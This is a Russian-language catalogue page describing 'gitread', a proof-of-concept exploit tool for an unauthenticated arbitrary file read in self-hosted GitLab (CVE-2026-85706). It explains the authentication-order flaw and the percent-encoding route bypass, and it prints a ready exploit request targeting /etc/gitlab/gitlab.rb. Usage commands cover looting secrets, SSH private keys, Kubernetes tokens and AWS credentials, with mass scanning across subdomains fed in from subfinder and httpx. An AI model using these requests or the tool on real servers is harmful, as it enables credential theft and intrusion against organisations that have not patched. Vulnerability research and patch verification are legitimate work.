Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
gitread — CVE-2026-85706 · GitLab CE/EE чтение файлов без аутентификации · исследовательский PoC с режимом оракула, перечислением файловых дескрипторов и многоуровневым таргетингом добычи | Kitploit
Инструменты/GitHubGitHub/plur1bu5/gitread
РазведкаАнализ уязвимостейЭксплуатацияСкриптинг и автоматизацияЭксплуатация веб-приложенийЭксфильтрация данныхСбор информацииВеб-безопасностьТестирование на ПроникновениеRed Teaming
GitHub
12621 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
plur1bu5/gitread

gitread

CVE-2026-85706 · GitLab CE/EE чтение файлов без аутентификации · исследовательский PoC с режимом оракула, перечислением файловых дескрипторов и многоуровневым таргетингом добычи

Репозиторий
Поделиться

gitread

PoC для CVE-2026-85706 — неаутентифицированное произвольное чтение файлов, затрагивающее самостоятельно развёрнутые GitLab CE/EE.

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Затронуто18.7 до 19.1.7, 19.2.0 до 19.2.5, 19.3.0 до 19.3.1
Исправлено19.1.8 / 19.2.6 / 19.3.2 (выпущено 2026-09-10)
КомпонентRepository Commits API / Files API (Workhorse body-upload)
Автор отчётаs3ntago через GitLab HackerOne

Как это работает

Три эндпоинта repository API находятся за requestBodyUploader в Workhorse:

POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Обработчик Rails вызывает File.open(params['file.path']) до authenticate!. Эксплуатацию делают возможной четыре условия:

1. Аутентификация срабатывает после чтения файла. require_gitlab_workhorse! проверяет только JWT-заголовок Gitlab-Workhorse-Api-Request. Workhorse проставляет этот заголовок на каждый проксируемый запрос, включая обычные сквозные передачи. Настоящий authenticate! находится внутри authorize_push_to_branch!, который выполняется после того, как file_params_from_body_upload уже прочитал файл с диска.

2. file.path берётся напрямую из запроса. file_params_from_body_upload читает params['file.path'] как абсолютный путь без какой-либо валидации. В штатном сценарии Workhorse записывает загруженный файл во временный файл и сам подставляет этот параметр. Атакующему достаточно отправить его напрямую как параметр строки запроса, указывающий на любой файл в файловой системе.

3. Сопоставление маршрутов в Workhorse никогда не декодирует процентное кодирование. Workhorse сопоставляет маршруты загрузки с EscapedPath() — необработанными байтами URL в том виде, в каком они получены. Puma декодирует последовательности %XX перед маршрутизацией в Grape. Поэтому кодирование одного символа в статическом сегменте заставляет Workhorse пропустить своё правило перезаписи, тогда как Rails всё равно направляет запрос в уязвимый обработчик:

POST /api/v4/projects/1/repository/commits/      (завершающий слэш)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (суффикс формата Grape)

4. Rack возвращает содержимое файла обратно в ответе об ошибке. При Content-Type: application/x-www-form-urlencoded содержимое файла передаётся в Rack::Utils.parse_nested_query. Любой одиночный %, за которым не следуют две шестнадцатеричные цифры, вызывает InvalidParameterError: invalid %-encoding (<content>). Всё до первого & в файле отражается в теле ответа 400.

Файлы без одиночного % всё равно читаются до аутентификации. Ответ 401 из ветки urlencoded и ответ 500 из ветки multipart оба подтверждают, что файл существует и доступен для чтения пользователю git, что делает их полезными в качестве оракула существования.

Эксплойт-запрос:

POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

Возможности

  • --file читает любой отдельный файл; автоматически переключается на оракул, если нет триггера эха
  • --loot проходит 36 целей по 7 уровням, упорядоченным по подтверждённой вероятности триггера эха
  • --oracle выполняет двухветочную проверку (urlencoded + multipart) для файлов без эха и сообщает, доступен ли каждый из них для чтения, отсутствует или нечитаем
  • --proc перечисляет /proc/self/fd/0-31 для поиска открытых файловых дескрипторов, затем читает стандартные цели разведки в /proc
  • --shell открывает интерактивную оболочку чтения файлов с командами cat, loot, oracle, project и curl
  • --pipe читает цели из stdin и обрабатывает вывод subfinder, текст httpx, JSON httpx, JSON nuclei и строки хостов
  • --list принимает файл с целями по одной на строку
  • --threads для параллельного массового сканирования
  • --proxy направляет всё через Burp или mitmproxy
  • --raw записывает необработанные байты в stdout без оформления, удобно для перенаправления в файл
  • --full выполняет loot, oracle и proc за один проход
  • Вывод отчётов в формате JSON и JSONL через -o
  • Определение версии GitLab с проверкой диапазона уязвимых версий
  • Поддержка цвета в терминале Windows

Установка

pip install requests
python3 gitread.py -h

Требуется Python 3.10 или новее. Других зависимостей нет.

Использование

Одна цель

python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

Конвейер

subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

stdin определяется автоматически, когда это не TTY, поэтому --pipe в большинстве случаев необязателен.

Оболочка

gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

Вердикты ответов

ВердиктЗначение
leakСодержимое файла отражено в теле ответа 400, чтение подтверждено
leak-fragЧастичное эхо через ошибку типа параметра
read-noechoФайл был прочитан до аутентификации, но не содержит одиночного %, поэтому ничего не отражено
READABLEВетка multipart вернула 500, файл существует и доступен для чтения пользователю git
missingСервер сообщил, что локальный файл отсутствует
rewriteWorkhorse перезаписал тело, эта форма обхода не работает
norouteRails 404, экземпляр пропатчен или путь неверен
server-error500, файл существует, но вызвал ошибку разбора

Уровни loot

УровеньФайлыЭхо
1gitlab.rb, gitlab.yml, redis.confСодержимое утекает напрямую
2gitlab-secrets.json, secrets.yml, database.ymlТолько оракул, чистый hex
3.gitlab_workhorse_secretТолько оракул
4Приватные ключи SSH и authorized_keysТолько оракул
5gitlab-shell.yml, gitaly.toml, конфигурация PostgreSQLТолько оракул
6Токен сервисной учётной записи Kubernetes, учётные данные AWSТолько оракул
7Hostname, hosts, passwd, os-release, environТолько оракул

Флаги

Скачать инструмент